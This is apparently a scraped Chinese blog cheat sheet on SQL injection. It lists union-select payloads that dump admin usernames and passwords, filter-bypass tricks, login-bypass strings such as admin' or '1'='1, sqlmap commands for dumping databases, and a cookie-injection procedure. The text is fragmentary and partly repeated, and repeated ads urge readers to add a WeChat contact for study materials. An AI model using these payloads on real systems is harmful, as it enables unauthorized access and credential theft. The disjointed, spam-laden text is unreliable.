网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
?id=-1’ union select 1,要查询的字段名1,要查询的字段名2 from 要查询的表 //查询一年字段中的内容
?id=-1’ union select 1,unhex(hex(username)),unhex(hex(password)),4 from admin //若内容无法显示,则unhex编码
**情况一**
>
> 查表名时由于过滤or,所以information\_schema无法使用。 但Mysql5.6及以上版本中
> innodb\_index\_stats 和innodb\_table\_stats这两个表中都包含所有新创建的数据库和表名
>
>
>
**PS:/**/可以代替空格 不能用order by测试列数,用group by代替
注释符#用,'3代替,数字随便\*\*
**查看表名:**
-1’union/**/select/**/1,(select/**/group\_concat(table\_name)/**/from/\*\*/mysql.innodb\_table\_stats),3,‘3
这时就要无列名注入了
因为没有mysql.innodb\_column\_stats这个方法,查不了列名
大概原理就是没有列名,那就给它取名,然后按别名正常继续注入
>
> //-1’/**/union/**/select/**/1,(select/**/group\_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/\*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
>
>
>
————————————————————————————————————————————
#### 1.2 字符型
’ and ‘1’='1
’ and ‘1’='2
**剩下步骤和数字型一样…**
### 2 按HTTP提交方式
#### 2.1 POST型注入
**简单说明步骤:**
>
> 1.直接burpsuite抓取数据包
> 2.sql跑起来——
>
>
>
sqlmap.py -r “数据包文件” --current-db #查询当前数据库名字
–current-db //表示当前网站的数据库名字
–tables -D “当前数据库名字” //当前网站数据库名字
–columns -T -D //获取表中的列
–dump -C -T -D ///获取列中的字段内容
**sql注入万能用户名**
注释法 //将密码注释掉
eg:用户名处 admin’ #
or 方法
eg:admin’ or ‘1’='1
#### 2.2 GET型注入
**简单说明步骤:**
>
> 1.sql跑起来——
> sqlmap.py -u “URL”
>
>
>
–current-db //表示当前网站的数据库名字
–tables -D “当前数据库名字” //当前网站数据库名字
–columns -T -D //获取表中的列
–dump -C -T -D ///获取列中的字段内容
#### 2.3 Cookie型注入
**怎样cookie注入?**
**cookie注入分为以下几个阶段:**
>
> 1. 判断是不是注入点
> 2.得到字段总数
> 3.查选表名
> 4.查选列名
> 5.脱裤(就是得到我们想得到列名的值)
>
>
>
**我们先理解一下这几个概念:**
>
> javascript:alert(document.cookie=“id=”+escape(“284”))
>
>
>
document.cookie:表示当前浏览器中的cookie变量
alert():表示弹出一个对话框,在该对话框中单击“确定”按钮确认信息。
escape():该函数用于对字符串进行编码。
cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。
cookie注入原理
**【检测方法】**
>
> 1、首先找到传参地址: asp?id=xxx(例如:http://www.example.com/news.asp?id=1)
> 2、去掉参数,访问该url
> http://www.example.com/news.asp?
> 如果页面访问不正常,则说明该参数id是访问页面所必需的的参数,可以尝试继续注入。
> 3、记录并清空当前浏览器地址栏中的地址,在其中输入
> javascript:alert(document.cookie=“id=”+escape(“xxx”));
> //这里的xxx就是上一步中id=xxx中的参数值
> 4、再浏览器地址栏中输入原来的url地址(注意,这里输入的是不带参数值的url,如下):
> http://www.example.com/news.asp?
> 按下回车,访问该url,如果发现页面正常显示了,到此可以证明,我们正在接受的页面存在request方法获取参数,可能存在cookie注入的风险
>
>
>
**【利用方法】:**
**手工检测到可能存在cookie注入时,我们就可以通过常规注入方法来进行注入了**
>
> 1、清空地址栏,输入我们的写cookie代码:
> javascript:alert(document.cookie=“id=”+escape(“xxx and 1=1”));
> 2、使用无参数的url地址访问
> http://www.example.com/news.asp?
> 如果页面正常,我们就可以进行下一步检测。如果这是页面不正常,说明站点管理员已经部署了响应的防御策略,就需要找其他方法注入
> 3、清空地址,同样的方法写入新的cookie
> javascript:alert(document.cookie=“id=”+escape(“xxx and 1=2”));
> 如果上一次页面正常,这次页面不正常,那么说明存在cookie注入漏洞,可以通过常规方法注入即可,只是cookie注入相对比较麻烦,需要每一次都在浏览器中执行写cookie代码
> javascript:alert(document.cookie=“id=”+escape(“xxx 注入语句”));
> 然后访问不带参数的url地址
> http://www.example.com/news.asp?
> 根据页面提示进行注入即可
>
>
>
### 3 union联合查询(有回显)
**注意:判断是除了在id=1后面加引号,还可以加引号加单括号,等等…**
如:
id=1’
id=1’) and ‘1’=‘1’ and ‘1’=‘2’
id=1"
id=1") and ‘1’=‘1’ and ‘1’=‘2’
**PS:/**/可以代替空格 不能用order by测试列数,用group by代替
注释符#用,'3代替,数字随便\*\*
**前面+URL**
>
> and 1=1
> and 1=2
> ’ and ‘1’='1
> ’ and ‘1’='2
>
>
>
---
‘ order by (1,2,3,4…) --+ //可判断出有几个回显
?id=-1’ union select 1,database(),3 --+ //可判断出数据库名字,假设order by 4出错,变量改为-1
id=-1’ union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)’ 另一种查询方式,后同
?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where
table_schema=‘数据库名字’ --+ //查表明 group_concat多个表有序排列(引号一定要)
?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘输入要查询的表名’ //查询表中的字段
?id=-1’ union select 1,要查询的字段名1,要查询的字段名2 from 要查询的表 //查询一年字段中的内容
?id=-1’ union select 1,unhex(hex(username)),unhex(hex(password)),4 from admin //若内容无法显示,则unhex编码
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)
内容实在太多,不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!